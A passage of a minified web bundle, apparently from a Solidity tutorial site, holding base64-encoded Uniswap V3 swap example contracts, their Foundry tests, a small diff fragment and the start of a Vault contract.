OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKGJ5dGVzIGNhbGxkYXRhIHBhdGgsIGFkZHJlc3MgdG9rZW5JbiwgdWludDI1NiBhbW91bnRJbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KQogICAgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlci5FeGFjdElucHV0UGFyYW1zKHsKICAgICAgICAgICAgcGF0aDogcGF0aCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAKICAgICAgICB9KTsKICAgICAgICBhbW91bnRPdXQgPSByb3V0ZXIuZXhhY3RJbnB1dChwYXJhbXMpOwogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2OwogICAgfQoKICAgIC8vLyBAbm90aWNlIFN3YXBzIGFtb3VudEluIG9mIG9uZSB0b2tlbiBmb3IgYXMgbXVjaCBhcyBwb3NzaWJsZSBvZiBhbm90aGVyIHRva2VuCiAgICAvLy8gQHBhcmFtIHBhcmFtcyBUaGUgcGFyYW1ldGVycyBuZWNlc3NhcnkgZm9yIHRoZSBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBkZWFkbGluZTsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dChFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcykgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1N3YXBFeGFtcGxlcy5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwoKY29udHJhY3QgVW5pVjNTd2FwVGVzdCBpcyBUZXN0IHsKICAgIElXRVRIIHByaXZhdGUgd2V0aCA9IElXRVRIKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgZGFpID0gSUVSQzIwKERBSSk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM1N3YXBFeGFtcGxlcyBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNTd2FwRXhhbXBsZXMoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RTaW5nbGVIb3AoKSBwdWJsaWMgewogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoV0VUSCwgREFJLCAzMDAwLCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RNdWx0aUhvcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDFlMTgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9IGFiaS5lbmNvZGVQYWNrZWQoV0VUSCwgdWludDI0KDMwMDApLCBVU0RDLCB1aW50MjQoMTAwKSwgREFJKTsKCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPSB1bmkuc3dhcEV4YWN0SW5wdXRNdWx0aUhvcChwYXRoLCBXRVRILCAxZTE4KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBhbW91bnRPdXQpOwogICAgfQp9Cg=="}],Zb=`
                    Uniswap V3 Single Hop Swap
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6737,7 +6737,7 @@ IERC20 constant PAIR // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 address constant SWAP_ROUTER_02 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
@@ -6940,7 +6940,7 @@ IERC20 constant PAIR address(swap)), 0, "DAI balance of swap != 0");
     }
 }
-
                    `,Zb=({prev:s,next:a})=>r.jsx(u,{version:Ab,title:mb,description:bb,html:kb,prev:s,next:a,codes:wb}),Wb="0.8.24",Gb="Vault",Bb="Vault",Vb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9m